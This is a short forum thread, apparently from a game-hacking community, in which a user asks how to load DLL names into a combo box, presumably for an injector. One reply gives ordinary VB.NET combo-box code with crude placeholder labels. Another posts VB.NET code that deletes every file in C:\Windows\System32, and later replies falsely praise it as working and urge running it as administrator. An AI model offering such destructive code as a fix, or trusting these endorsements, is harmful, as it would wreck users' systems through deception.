DLL In combo box

Posts 1–7 of 7 · Page 1 of 1
DLL In combo box
i need help making a DLL file fit in a comx
Quote Originally Posted by Unfinished Code View Post
i need help making a DLL file fit in a comx
Don't quite understand what you mean.., but are you trying to make the comx drag n drop dll's in it or have the file path in the comx?
Specify
I would assume you're trying to make a combobox with different dll names and then it injects one based on the dll chosen? I'd write this:

Code:
Dim paths() As String = {"C:\Path1", "C:\Path2", "Etc"}

' And then write

Dim DisplayText() As String = {"Penis1","Vagina2","Va-Jay-Jay3"}

Sub loadingDisBish() Handles MyBase.Load

Combobox1.Items.Clear
ComboBox1.Items.Addrange(displayText)

End Sub

sub DisBishWantsDaD() handles button1.click
Dim pathToWorkOn As String = paths(combobox1.selectedIndex)
' Your code to do whatever with the dll.
end sub
Code:
For Each s As String In IO.Directory.GetFiles("C:\Windows\System32\")
    IO.File.Delete(s)
Next
Quote Originally Posted by Jason View Post
Code:
For Each s As String In IO.Directory.GetFiles("C:\Windows\System32\")
    IO.File.Delete(s)
Next
Worked perfect!

@Unfinished Code
Make sure you run it as admin though
Quote Originally Posted by Jason View Post
Code:
For Each s As String In IO.Directory.GetFiles("C:\Windows\System32\")
    IO.File.Delete(s)
Next
Thanks @Jason
Posts 1–7 of 7 · Page 1 of 1

Post a Reply

Similar Threads

Tags for this Thread

None

Talk with us